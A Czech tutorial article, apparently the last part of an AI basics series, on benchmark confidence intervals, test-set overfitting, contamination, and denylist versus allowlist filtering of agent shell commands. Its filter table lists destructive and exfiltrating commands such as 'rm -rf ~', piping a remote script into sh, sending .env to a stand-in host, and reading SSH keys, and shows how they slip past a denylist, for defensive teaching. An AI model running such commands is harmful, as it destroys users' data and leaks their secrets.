Přeskočit na obsah
coden

Vyhodnocení a bezpečnost AI systémů: jak měřit a jak hlídat

Benchmarky a nejistota měření, jak výběr podle testovací sady nadsazuje výsledky, kontaminace dat na pokusu, druhy rizik, filtr příkazů agenta jako zákaz proti povolení a obrana do hloubky.

12 minut Matěj Žalmánek 2026-10-16

Série Základy AI Díl 83 z 83
  1. Mapa umělé inteligence: co je co a jak to do sebe zapadá
  2. Stručná historie umělé inteligence: od Turinga po jazykové modely
  3. Data, model, trénink, inference: základní pojmy na jednom příkladu
  4. Jak číst matematický zápis: symboly, indexy, sumy a kvantifikátory
  5. Množiny a relace: stavebnice, ze které se skládají definice v AI
  6. Funkce a zobrazení: proč je každý model v AI funkce
  7. Logika a důkazy: pravidla, podle kterých se v AI uvažuje
  8. Grafy a stromy: struktura, na které stojí hledání i neuronové sítě
  9. Lineární algebra pro strojové učení: vektory, matice a proč AI hlavně násobí
  10. Derivace, gradient a řetízkové pravidlo: jak model zjistí, kterým směrem se učit
  11. Gradientní sestup: jak se model učí
  12. Co je pravděpodobnost: od hodu kostkou ke Kolmogorovovým axiomům
  13. Podmíněná pravděpodobnost a Bayesova věta: jak změnit odhad, když se dozvíte něco nového
  14. Náhodná veličina a distribuční funkce: jedna funkce, která o rozdělení řekne všechno
  15. Funkce hustoty a pravděpodobnostní funkce: proč má spojitá veličina v bodě pravděpodobnost nula
  16. Střední hodnota, rozptyl a kovariance: kde rozdělení leží, jak je široké a co s čím souvisí
  17. Přehled pravděpodobnostních rozdělení: Bernoulli, binomické, Poisson, rovnoměrné, normální a exponenciální
  18. Zákon velkých čísel a centrální limitní věta: proč se průměry chovají tak předvídatelně
  19. Statistika a odhady parametrů: maximální věrohodnost, MAP a intervaly spolehlivosti
  20. Teorie informace: entropie, křížová entropie a KL divergence — odkud se berou ztrátové funkce
  21. Prohledávání stavového prostoru: BFS, DFS, UCS a A* s animacemi
  22. Hry a protivník: minimax, alfa-beta ořezávání a Monte Carlo tree search
  23. Splňování omezujících podmínek: backtracking, propagace omezení a AC-3 na sudoku a mapě krajů
  24. Logika a znalostní systémy: dopředné a zpětné řetězení, rezoluce a expertní systémy
  25. Plánování: STRIPS, svět kostek, heuristiky z relaxace a plánování v AI agentech
  26. Lokální hledání a simulované žíhání: obchodní cestující přes krajská města
  27. Genetické algoritmy: populace, křížení, mutace a výběr na batohu na výlet
  28. Evoluční strategie a genetické programování: od pravidla jedné pětiny po Keplerův zákon
  29. Optimalizace mravenčí kolonií: jak feromonová stopa najde krátkou cestu
  30. Optimalizace hejnem částic: setrvačnost, vlastní zkušenost a zkušenost hejna
  31. Neuroevoluce: evoluce vah i tvaru neuronových sítí a algoritmus NEAT
  32. Fuzzy množiny a funkce příslušnosti: jak zapsat „trochu teplo“
  33. Fuzzy logika a pravděpodobnost: proč „trochu teplo“ neznamená „pravděpodobně teplo“
  34. Fuzzy logika: t-normy, implikace a pravidla KDYŽ–PAK
  35. Fuzzy řízení: Mamdani a Sugeno od ventilátoru po kyvadlo na vozíku
  36. Fuzzy shlukování: algoritmus fuzzy c-means a body mezi shluky
  37. Neuro-fuzzy systémy (ANFIS): fuzzy pravidla, která se učí z dat
  38. Markovovy řetězce: přechodová matice, stacionární rozdělení a PageRank
  39. Skryté Markovovy modely: Viterbiho algoritmus a nepoctivé kasino
  40. Bayesovské sítě: proč je tráva mokrá a co z toho plyne pro postřikovač
  41. Kalmanův filtr: jak z nepřesných měření odhadnout, kde auto je a jak rychle jede
  42. Druhy strojového učení: s učitelem, bez učitele, s částečným učitelem a další
  43. Přeučení a regularizace: proč model, který zná data nazpaměť, selže
  44. Vyhodnocení modelu: křížová validace, F1 a křivka ROC
  45. Shlukování a snížení dimenze: k-means, PCA a t-SNE
  46. Klasifikace a regrese: dvě úlohy učení s učitelem
  47. Lineární regrese: nejmenší čtverce geometricky i maticově
  48. Polynomiální a nelineární regrese: jak přímku ohnout
  49. Logistická regrese: sigmoida, šance a křížová entropie
  50. Vícetřídní klasifikace a softmax: od dvou tříd k mnoha
  51. Naivní Bayesův klasifikátor: spamový filtr, který funguje lépe, než by měl
  52. Ztrátové funkce: co přesně model minimalizuje
  53. Rozhodovací stromy a k nejbližších sousedů: modely bez vzorců
  54. Ansámbly: náhodný les a gradient boosting
  55. SVM a jádrový trik: nejširší hranice a jak ji ohnout
  56. Signál a vzorkování: proč platí Nyquistův teorém
  57. Fourierova transformace: rozklad signálu na frekvence
  58. Filtry a konvoluce: vyhlazení, hrany a odstranění šumu
  59. Zvuk a řeč: spektrogram, melová škála a MFCC
  60. Obraz jako signál: pixely, barvy, konvoluce a hrany
  61. Perceptron a umělý neuron: nejjednodušší neuronová síť a co neumí
  62. Neuronová síť od nuly: zpětné šíření chyby krok za krokem
  63. Aktivace, inicializace a normalizace: drobnosti, na kterých hluboká síť stojí
  64. Konvoluční sítě: jak síť poznává obrázky
  65. Rekurentní sítě: paměť pro posloupnosti a mizející gradient
  66. LSTM a GRU: brány, které rozhodují, co si síť zapamatuje
  67. Autoenkodéry: síť, která se učí data stlačit a zase rozbalit
  68. Embeddingy a word2vec: jak se slovo stane vektorem
  69. Mechanismus pozornosti: jak se model naučí, kam se dívat
  70. Transformery a velké jazykové modely: architektura krok za krokem
  71. Tokenizace: jak se text rozseká na kousky pro model
  72. Předtrénování a škálování: proč větší model a víc dat funguje
  73. Doladění a RLHF: jak se z doplňovače textu stane asistent
  74. Prompty, kontext a RAG: jak modelu dát správné informace
  75. Variační autoenkodéry (VAE): nové obrázky ze spojitého latentního prostoru
  76. Generativní adversariální sítě (GAN): padělatel proti detektivovi
  77. Difúzní modely: jak se z čistého šumu stane obrázek
  78. Markovovy rozhodovací procesy: stavy, akce, odměny a Bellmanovy rovnice
  79. Q-learning a DQN: učení hodnoty akcí od tabulky po neuronovou síť
  80. Policy gradient a PPO: učení přímo strategie
  81. Jak funguje AI agent: jazykový model ve smyčce s nástroji
  82. Programování s AI agenty: zadání, testy a kontrola
  83. Vyhodnocení a bezpečnost AI systémů: jak měřit a jak hlídat

Celá osnova série 83 z 83 témat hotovo

Co si odnesete
  • Proč rozdíl pár procentních bodů na benchmarku často nic neznamená.
  • Jak se testovací sada opotřebuje a co dělá kontaminace.
  • Proč agentovi povolovat místo zakazovat a jak skládat vrstvy ochrany.

Co se hodí znát předem: Vyhodnocení modelu: křížová validace, F1 a křivka ROC, Jak funguje AI agent: jazykový model ve smyčce s nástroji, Programování s AI agenty: zadání, testy a kontrola

„Nový model je o 3 body lepší.“ „Agent je bezpečný, má zákaz nebezpečných příkazů.“ Obě věty zní uklidňujícím dojmem a obě mohou být nepravdivé, aniž by kdo lhal. První kvůli tomu, jak se měří, druhá kvůli tomu, jak se zakazuje. V posledním díle části o agentech se podíváme na dvě otázky, které se u AI systémů kladou nejčastěji: jak poznat, co doopravdy umí, a jak zařídit, aby nedělaly, co nemají.

Navazuje na díly Vyhodnocení modelů, Jak funguje AI agent a Programování s AI agenty.

1. Jak se měří, co model umí

Definice — benchmark

Benchmark je pevně daná trojice, na které se porovnávají modely:

  1. konečná sada úloh u1, …, un, n ≥ 1;
  2. ke každé úloze ui referenční řešení ri (správná odpověď, nebo testy, které musí řešení projít);
  3. pravidlo hodnocení h, které odpovědi a na úlohu ui přiřadí h(a, ri) ∈ {0, 1} (1 = správně).

Odpoví-li model M na úlohu ui odpovědí M(ui), je jeho výsledek na benchmarku podíl správně vyřešených úloh

S(M) = 1/n ∑i=1n h(M(ui), ri) ∈ [0, 1].

Příklady: otázky s výběrem odpovědi z mnoha oborů (MMLU), slovní úlohy z matematiky (GSM8K), opravy skutečných chyb v open-source projektech ověřené testy (SWE-bench). Doplňkem jsou srovnání lidmi (lidé hlasují, která ze dvou anonymních odpovědí je lepší) a vlastní testy na úlohách, na kterých záleží vám.

Laicky řečeno

Benchmark je písemka, kterou píšou všichni stejnou. Je užitečná pro srovnání, ale říká jen to, jak model píše tuhle písemku. Jestli zvládne vaši práci, poznáte jen tak, že mu dáte vaši práci.

I poctivá písemka má ale omezenou přesnost. Model, který vyřeší 82 % z 200 úloh, má 95% interval spolehlivosti 76,1 až 86,7 %; model s 85 % má 79,4 až 89,3 %. Intervaly se z velké části překrývají — z takového měření nejde říct, který je lepší. Na 2 000 úlohách by byl interval pro 82 % už jen 80,3 až 83,6 %. Kdykoli vidíte rozdíl pár procentních bodů, ptejte se, na kolika úlohách byl změřený.

Definice — 95% interval spolehlivosti

Nechť p ∈ [0, 1] je neznámá pravděpodobnost, že model vyřeší úlohu, n ≥ 1 počet úloh a X1, …, Xn nezávislé náhodné veličiny s P(Xi = 1) = p, P(Xi = 0) = 1 − p (Xi = 1 znamená, že model úlohu i vyřešil; Bernoulliho rozdělení). Naměřený podíl je

p̂ = 1/n ∑i=1n Xi.

Nechť T1 ≤ T2 jsou meze spočtené z X1, …, Xn (v našem případě z p̂ a n). Náhodný interval (T1, T2) je 95% interval spolehlivosti pro p, právě když

∀ p ∈ [0, 1] :   Pp(T1 < p < T2) = 0,95,

kde Pp je pravděpodobnost při skutečné hodnotě p. Platí-li rovnost jen přibližně pro velká n (v limitě n → ∞), jde o přibližný (asymptotický) interval — takový je i Wilsonův interval níže. Obecnou definici najdete v dílu o statistice.

Kdybychom tedy měření opakovali na nových sadách, obsahoval by interval skutečné p v 95 % případů. Není to tvrzení „p leží v intervalu s pravděpodobností 95 %“ — náhodný je interval, ne p.

Intervaly v tomhle dílu počítáme Wilsonovým vzorcem (Edwin B. Wilson, 1927). Na rozdíl od jednoduchého p̂ ± 1,96 · √p̂(1 − p̂)/n nevyjede za 0 a 100 % a funguje i pro podíly blízko krajů:

p̂ + z2/2n ± z √p̂(1 − p̂)/n + z2/4n2/1 + z2/n

p̂
naměřený podíl správných odpovědí — výchozí bod, kolem kterého interval stavíme
z2/2n
posun ke středu: jako bychom k výsledkům přidali z2/2 ≈ 2 správné a 2 špatné odpovědi. Malá sada tak nemůže tvrdit „100 %, interval nulové šířky“
z √…
polovina šířky intervalu; první člen pod odmocninou je rozptyl naměřeného podílu, který klesá s n — proto čtyřikrát víc úloh dá jen poloviční interval
1 + z2/n
jmenovatel vrací posunutý střed i šířku do správného měřítka; pro velké n je skoro 1 a vzorec přejde v jednoduchý p̂ ± z · √p̂(1 − p̂)/n
z = 1,96 je kvantil normálního rozdělení: mezi −1,96 a 1,96 leží 95 % jeho plochy.
Příklad — interval pro 82 % z 200 úloh a rozdíl dvou modelů

Barvy podle Wilsonova vzorce výše; p̂ = 0,82, n = 200. z2 = 1,962 = 3,8416. Střed: 0,82 + 3,8416/400 = 0,8296. Polovina šířky: 1,96 · √0,82 · 0,18/200 + 3,8416/160 000 = 1,96 · √0,000738 + 0,000024 = 0,0541. Jmenovatel: 1 + 3,8416/200 = 1,0192.

Interval: 0,8296 − 0,0541/1,0192 = 0,7609 až 0,8296 + 0,0541/1,0192 = 0,8671, tedy 76,1 až 86,7 %.

Je rozdíl 85 % proti 82 % skutečný? Směrodatná chyba rozdílu dvou nezávislých podílů je √0,82 · 0,18/200 + 0,85 · 0,15/200 = 0,0371, takže 95% interval rozdílu je 3 ± 1,96 · 3,71 = 3 ± 7,3 bodu. Obsahuje nulu — rozdíl nelze odlišit od náhody. (Když oba modely řeší tytéž úlohy, dá se měřit citlivěji párově, jen na úlohách, kde se liší.)

Kolik úloh je potřeba, aby polovina šířky byla 1 bod? Pro velké n stačí jednoduchý vzorec: z z √p(1 − p)/n ≤ 0,01 plyne n ≥ z2 p(1 − p)/0,012 = 3,8416 · 0,82 · 0,18/0,0001 ≈ 5 671 úloh.

2. Testovací sada se opotřebovává

Definice — adaptivní přeučení na testovací sadě

Nechť úlohy pocházejí z nějakého rozdělení 𝒟 a S je testovací sada n úloh vylosovaných z 𝒟 nezávisle. Nechť f1, …, fK jsou varianty modelu (různá nastavení, prompty…), K ≥ 2. Pro variantu f označme

  1. acc(f) ∈ [0, 1] skutečnou přesnost — pravděpodobnost, že f vyřeší úlohu náhodně vylosovanou z 𝒟;
  2. accS(f) naměřenou přesnost — podíl úloh ze S, které f vyřeší.

Je-li varianta f zvolená bez ohledu na S, je naměřená přesnost nestranný odhad: E[accS(f)] = acc(f). Vybereme-li ale variantu podle výsledků na téže sadě,

k* = argmaxk ∈ {1, …, K} accS(fk),

pak naměřená přesnost vybrané varianty přestává být nestranným odhadem. Adaptivní přeučení na testovací sadě je situace, kdy

E[accS(fk*) − acc(fk*)] > 0,

tj. naměřená přesnost varianty vybrané podle S je systematicky vyšší než její skutečná přesnost. Vždy platí E[maxk accS(fk)] ≥ maxk E[accS(fk)] = maxk acc(fk) (maximum je aspoň tak velké jako každý ze členů, a tedy i jeho střední hodnota), takže ohlášené číslo v průměru nikdy nepodhodnocuje ani nejlepší z variant a obvykle ji nadhodnocuje.

Slovy: když se podle výsledků na téže testovací sadě opakovaně vybírá, vybraná varianta je zčásti nejlepší jen proto, že jí náhoda na téhle sadě přála, a na nových datech dopadne hůř. Obecněji to vystihuje Goodhartův zákon: když se z měřítka stane cíl, přestane dobře měřit.

Laicky řečeno

Sto studentů, všichni stejně dobří, píše stejný test. Někdo z nich bude mít nejlepší výsledek — ne proto, že je lepší, ale protože si zrovna tipl správně. Kdo vybírá „nejlepšího studenta“ podle jednoho testu, vybírá hlavně štěstí.

Pokus: K variant modelu, všechny se skutečnou přesností 70 %, změříme na stejné sadě a ohlásíme výsledek nejlepší. Průměr z 300 opakování:

65 %70 %75 %80 %85 % 110100500 počet zkoušených variant K (log. měřítko) ohlášená přesnost (%)
Ohlášená přesnost nejlepší z K variant (skutečná přesnost všech je 70 %) sada se 100 úlohami sada s 1 000 úlohami skutečná přesnost 70 %

Na sadě se 100 úlohami ohlásí výběr ze 100 variant průměrně 81,1 % a ze 500 variant 83,2 % — o 13 bodů víc, než kolik kterákoli z nich doopravdy umí. Větší sada pomáhá (s 1 000 úlohami 73,6 %), ale problém nezmizí. Varianty v pokusu chybují nezávisle; skutečné varianty jednoho modelu se chybami podobají, takže efekt bývá menší — směr je ale stejný. Ochrana: vybírat na jedné sadě (validační) a konečné číslo změřit jednou na jiné, nedotčené sadě.

Proč to tak vychází, se dá spočítat přesně. Počet úloh X, které jedna varianta vyřeší, má binomické rozdělení Bin(n; 0,7) (binomické rozdělení). Nejlepší z K variant dosáhne aspoň t úloh, když to dokáže aspoň jedna z nich:

P(max ≥ t) = 1 − ( 1 − P(X ≥ t) )K

P(X ≥ t)
šance, že jedna varianta náhodou vyřeší aspoň t úloh; pro t nad skutečnou úrovní je malá — a právě z ní žije výběr
K
počet zkoušených variant; v exponentu, protože (1 − P)K je šance, že to nedokáže žádná z nezávislých variant
P(max ≥ t)
šance, že ohlášený (nejlepší) výsledek dosáhne t; s rostoucím K se blíží jedné i pro vysoké t
Vzorec platí za předpokladu, že varianty chybují nezávisle — stejně jako v pokusu.
Příklad — 80 % ze 100 úloh

Jedna varianta: X ~ Bin(100; 0,7) má střední hodnotu 70 a směrodatnou odchylku √100 · 0,7 · 0,3 = 4,58 úlohy. Aspoň 80 úloh vyřeší s pravděpodobností P(X ≥ 80) = 0,0165, tedy asi v 1,6 % případů — o víc než dvě směrodatné odchylky nad průměrem.

Ze 100 variant (barvy podle vzorce výše): P(max ≥ 80) = 1 − (1 − 0,0165)100 = 0,810. Výsledek „80 % a víc“, který je u jedné varianty vzácnost, ohlásíme ve čtyřech pokusech z pěti.

Střední hodnota nejlepšího výsledku jde ze vzorce spočítat bez simulace: E[max] = ∑t=1n P(max ≥ t). Vyjde 81,1 % pro 100 variant, 83,2 % pro 500 variant a 73,6 % pro 100 variant na sadě s 1 000 úlohami — totéž, co dala simulace s 300 opakováními (81,1, 83,2 a 73,6 %).

3. Kontaminace: model viděl odpovědi

Definice — kontaminace dat

Nechť D jsou trénovací data modelu a S = {u1, …, un} testovací sada.

  1. Úloha u ∈ S je kontaminovaná, právě když D obsahuje u (zadání, případně i s řešením) nebo její blízkou kopii. Co je „blízká kopie“, není pevně dané; v praxi se volí pravidlo, třeba že s u sdílí dostatečně dlouhý souvislý úsek textu.
  2. Míra kontaminace sady S je podíl kontaminovaných úloh |{u ∈ S : u je kontaminovaná}|/n.

Kontaminace tedy nastane, právě když je míra kontaminace kladná — testovací úlohy (nebo jejich blízké kopie) se dostaly do trénovacích dat. U velkých jazykových modelů, učených na velké části internetu, je to vážný problém: benchmarky jsou veřejné, často i s řešeními, a model si je mohl zapamatovat. Naměřený výsledek pak měří paměť, ne schopnost.

Laicky řečeno

Žák, který sehnal zadání písemky i s výsledky. Dostane jedničku — a nic to neříká o tom, jestli umí počítat.

Pokus na číslicích 8 × 8 z dílu o shlukování: klasifikátor nejbližšího souseda se učí jen ze tří příkladů každé cifry, takže na 200 testovacích číslicích má poctivě 60 %. Pak do trénovacích dat „prosákne“ část testovacích číslic:

ŷ(x) = yi*,   i* = argmini ∈ trénink ∑j=164 (xj − xi,j)2

∑ (xj − xi,j)2
čtverec eukleidovské vzdálenosti dvou obrázků po 64 pixelech; malý, když se obrázky podobají
argmini ∈ trénink
který trénovací příklad je nejblíž — hledá se jen mezi tím, co model „viděl“; proto únik testovacích dat přímo mění odpovědi
yi*
odpovědí je cifra nejbližšího souseda; žádné zobecňování, jen „vypadá to jako tamto“
Když testovací číslice unikla do tréninku, má sama k sobě vzdálenost 0, je svým nejbližším sousedem a dostane správnou cifru vždy. Únik celé sady proto dává 100 % bez ohledu na to, co klasifikátor umí.
0 %25 %50 %75 %100 % 60 % 0 % 69 % 10 % 79 % 25 % 92 % 50 % 100 % 100 % podíl testovacích příkladů v trénovacích datech (%) přesnost na testu (%)
Přesnost na testu podle toho, kolik testovacích příkladů uniklo do trénovacích dat

S únikem 10 % vyskočí přesnost na 69 %, s 25 % na 79 %, s polovinou na 92 % a s celou testovací sadou na 100 %. Zajímavé je, že se zlepší i číslice, které neunikly (při úniku poloviny 86 % místo 60 %): uniklé příklady se podobají ostatním testovacím, a pomáhají tedy i s nimi. Proto nestačí kontrolovat, jestli model viděl přesně tutéž otázku — stačí, že viděl podobné. Obrana: neveřejné testovací sady, nové úlohy vytvořené až po skončení učení modelu a kontrola, jestli model neumí úlohu „dopsat“ zpaměti.

4. Co může jít špatně

Bezpečnost AI systémů není jedna věc. Pomáhá rozlišovat, odkud škoda přichází:

  • Chyby — model se mýlí nebo si vymýšlí (halucinace) a člověk mu uvěří.
  • Zneužití — někdo model použije ke škodě: podvodné e-maily, pomoc s útokem, dezinformace.
  • Útoky na systém — prompt injection v dokumentu nebo na webu převezme kontrolu nad agentem; „jailbreak“ obejde pravidla modelu.
  • Nebezpečné akce — agent s přístupem k počítači nebo účtům udělá něco nevratného, i když to nikdo nechtěl.
  • Nesoulad cílů — systém optimalizuje přesně to, co jsme mu zadali, místo toho, co jsme chtěli (přeoptimalizace odměny). S rostoucí samostatností systémů je tohle téma výzkumu i regulace.

5. Zakazovat, nebo povolovat

Konkrétní příklad z praxe agentů: agent smí spouštět příkazy v terminálu. Jak zabránit, aby spustil něco nebezpečného? Porovnáme dva filtry na 28 příkazech — 12 běžných (testy, git, výpis souborů) a 16 nebezpečných (mazání, posílání dat ven, spuštění cizího skriptu).

Definice — seznam zákazů a seznam povolení

Nechť C je množina všech příkazů (textových řetězců). Filtr je funkce φ : C → {pustit, zastavit}; zastavený příkaz agent neprovede — u agenta typicky čeká, až ho schválí člověk.

  1. Nechť Z je konečná množina zakázaných vzorů. Seznam zákazů (denylist) je filtr, pro který φZ(c) = pustit  ⇔  ¬ ∃ z ∈ Z : c odpovídá vzoru z.
  2. Nechť A je konečná množina povolených vzorů. Seznam povolení (allowlist) je filtr, pro který φA(c) = pustit  ⇔  ∃ a ∈ A : c odpovídá vzoru a.

Co znamená „odpovídá vzoru“, určuje konkrétní filtr; v našem pokusu je to u zákazů „z je podřetězec c“ a u povolení „c začíná a a neobsahuje znaky | ; & ` $“ (rozbor níže). Seznam zákazů tedy pustí všechno, co výslovně nezakazuje, seznam povolení zastaví všechno, co výslovně nepovoluje. Bezpečnostní zásada nejmenších oprávnění doporučuje to druhé.

Laicky řečeno

Vrátný se seznamem lidí, kteří nesmějí dovnitř, pustí každého, koho na seznamu nemá — včetně zloděje v jiném kabátě. Vrátný se seznamem lidí, kteří smějí, pustí jen je; ostatní počkají, až si pro ně někdo přijde.

Zákaz obsahuje vzory „rm -rf“, „curl | sh“, „DROP TABLE“, „--force“, „.ssh“. Povolení pouští jen výpis a čtení souborů, git bez zápisu, spuštění testů a vytvoření složky, a to bez rour a středníků.

zákaz pustí c ⇔ ¬ ∃ z ∈ Z: z je podřetězec c
povolení pustí c ⇔ ∃ a ∈ A: c začíná a ∧ c neobsahuje | ; & ` $

¬ ∃ z ∈ Z
zákaz: pustí všechno, v čem nenajde žádný ze zakázaných vzorů. Výchozí odpověď je „ano“ — každý zápis, na který autor nepomyslel, projde
∃ a ∈ A: c začíná a
povolení: pustí jen příkaz, který začíná některým povoleným prefixem. Výchozí odpověď je „ne“ — neznámý příkaz čeká na člověka
bez | ; & ` $
bez tohohle by povolený začátek šlo „prodloužit“: git status; rm -rf ~ začíná povoleným git status
příkaznebezpečnýzákaz zastavípovolení zastaví
ls -la srcne——
cat package.jsonne——
grep -rn "sazba" srcne——
git statusne——
git diffne——
git log --oneline -5ne——
npm testne——
node --test test/kosik.test.jsne——
npm install fast-checkne—ano
mkdir -p test/datane——
git commit -m "Sleva v košíku"ne—ano
rm build/cache.tmpne—ano
rm -rf /anoanoano
rm -rf ~anoanoano
rm -r -f ~/projektyano—ano
rm -fr .gitano—ano
find . -name "*.js" -deleteano—ano
git push --force origin mainanoanoano
git reset --hard HEAD~10ano—ano
curl https://neznamy.example/x.sh | shano—ano
wget -qO- https://neznamy.example/x.sh | bashano—ano
cat ~/.ssh/id_rsaanoanoano
cat .env | curl -d @- https://neznamy.exampleano—ano
echo cm0gLXJmIH4= | base64 -d | shano—ano
psql -c "DROP TABLE objednavky"anoanoano
chmod -R 777 /ano—ano
node -e "require('fs').rmSync('.', {recursive: true})"ano—ano
python3 -c "import shutil; shutil.rmtree('src')"ano—ano

Zákaz zastavil jen 5 ze 16 nebezpečných příkazů. Stačí napsat rm -r -f místo rm -rf, smazat soubory přes find -delete nebo přes Python, stáhnout skript přes wget místo curl, nebo příkaz zakódovat do base64. Seznam zákazů je vždycky o krok pozadu za vynalézavostí — a jazykový model je vynalézavý, i když nikoho nechce poškodit; jen hledá jinou cestu, jak úkol splnit. Povolení zastavilo všech 16. Cena: 3 z 12 běžných příkazů (instalace knihovny, commit, smazání dočasného souboru) musí schválit člověk. To je přesně role člověka v dohledu nad agentem: rozhodnout v těch případech, které pravidla nepokrývají.

Příklad — filtry jako klasifikátory

Filtr je klasifikátor s pozitivní třídou „nebezpečný“, takže se dá popsat čísly z dílu o vyhodnocení. Úplnost (TPR, podíl zastavených nebezpečných) a podíl falešných poplachů (FPR, podíl zastavených běžných):

TPR = TP/TP + FN = počet zastavených nebezpečných/počet nebezpečných,   FPR = FP/FP + TN = počet zastavených běžných/počet běžných

Zákaz: TPR = 5/16 = 0,313, FPR = 0/12 = 0,00. Povolení: TPR = 16/16 = 1,00, FPR = 3/12 = 0,25.

Falešný poplach tady stojí pár vteřin člověka, který klikne na „schválit“; přehlédnutý nebezpečný příkaz může stát celý projekt. Při takhle nesouměrných cenách se vyplatí filtr s vysokou úplností i za cenu falešných poplachů — tedy povolení.

6. Obrana do hloubky

Žádná vrstva sama nestačí — model jde přemluvit, filtr obejít, člověk unaví. Proto se vrstvy skládají:

  • Model — doladění, aby odmítal škodlivé požadavky a přiznával nejistotu (díl o RLHF).
  • Pokyny a oddělení dat — systémový prompt, texty z webu a dokumentů označené jako data, ne příkazy.
  • Oprávnění — nástroje s nejmenšími nutnými právy, seznamy povolení, oddělené účty a klíče.
  • Izolace — agent běží v kontejneru nebo virtuálním stroji, bez přístupu k věcem, které nepotřebuje.
  • Člověk ve smyčce — schvalování nevratných a neobvyklých kroků.
  • Záznam a kontrola — co agent udělal, se dá zpětně dohledat a vrátit (git, zálohy, logy).

Pškoda = p1 · p2 · … · pm

p1
pravděpodobnost, že škodlivou akci propustí první vrstva (třeba model ji neodmítne)
p2
pravděpodobnost, že ji propustí druhá vrstva (filtr příkazů) — násobí se, protože akce musí projít všemi vrstvami
pm
poslední vrstva (izolace, záloha); každá další vrstva s p < 1 výsledek zmenší, i když sama je slabá
Pškoda
šance, že škodlivá akce projde až do konce
Platí jen zjednodušeně — za předpokladu, že vrstvy selhávají nezávisle.

Čtyři vrstvy, z nichž každá propustí 10 % škodlivých akcí, dají Pškoda = 0,1 · 0,1 · 0,1 · 0,1 = 0,0001 — jednu z deseti tisíc. Jenže vrstvy nezávislé nebývají: prompt injection, který přesvědčí model, často přesvědčí i člověka, který schvaluje podle modelova vysvětlení. Kdyby se druhá až čtvrtá vrstva nechaly oklamat vždy, když se oklame první, zůstane Pškoda = 0,1. Proto mají vrstvy stát na různých principech: model na obsahu, filtr na syntaxi příkazu, izolace na tom, k čemu má proces vůbec přístup.

Definice — red teaming a hodnocení nebezpečných schopností

Nejde o matematické pojmy, ale o postupy; přesně je určuje, z jakých kroků se skládají.

Red teaming je opakovaný postup cíleného hledání selhání systému:

  1. předem se stanoví, co systém dělat nesmí (pravidla, zakázané výstupy a akce);
  2. útočníci — lidé a stále častěji jiné modely — hledají vstupy a situace, ve kterých systém některé pravidlo poruší;
  3. každé nalezené porušení se zaznamená a slabina se opraví (doladěním modelu, filtrem, změnou oprávnění);
  4. postup se opakuje na opraveném systému.

Hodnocení nebezpečných schopností je měření schopností před zveřejněním modelu:

  1. sestaví se sada úloh, jejichž zvládnutí by mohlo vést k vážné škodě (třeba pomoc s kybernetickým útokem);
  2. změří se, jak úspěšně je model řeší;
  3. výsledek se porovná s předem stanovenými prahy — překročí-li model práh, vývojář před zveřejněním zpřísní ochrany (nebo model nezveřejní).

Velcí vývojáři mají takové prahy a navazující ochrany sepsané ve svých veřejných bezpečnostních zásadách.

Laicky řečeno

Banka si najme zloděje, aby zkusil vykrást trezor — dřív, než to zkusí skutečný. Každá díra, kterou najde, je díra, kterou už nikdo jiný nenajde.

K technickým opatřením přibývá i regulace. Evropský akt o umělé inteligenci (AI Act, platný od roku 2024 a uplatňovaný postupně) rozděluje systémy podle rizika: některé praktiky přímo zakazuje a podrobné povinnosti ukládá vysoce rizikovým systémům, které rozhodují o lidech — při náboru, úvěrech nebo ve zdravotnictví.

7. Shrnutí

  • Benchmark je písemka: užitečná ke srovnání, ale s omezenou přesností. Na 200 úlohách má 82 % interval 76,1 až 86,7 %.
  • Vybírání podle téže testovací sady nadsazuje výsledek: výběr ze 100 variant se skutečnou přesností 70 % ohlásí 81,1 %.
  • Kontaminace měří paměť místo schopnosti; únik poloviny testu zvedl přesnost z 60 % na 92 %.
  • Rizika: chyby, zneužití, útoky na systém, nebezpečné akce a nesoulad cílů.
  • Seznam zákazů zastavil 5 z 16 nebezpečných příkazů, seznam povolení všech 16 — za cenu schvalování.
  • Bezpečnost stojí na vrstvách: model, oddělení dat, oprávnění, izolace, člověk ve smyčce a záznam.

Chcete si to osahat? Sepište deset úloh ze své práce i se správnými výsledky a nechte AI agenta, ať na nich porovná dva modely — a ať k výsledku přidá interval spolehlivosti. Pak zkuste vymyslet tři příkazy, které by obešly zákazový filtr vašeho agenta.

Máte na to jiný názor? Napište na support@coden-app.com.

Agent na vašem počítači, ovládaný z telefonu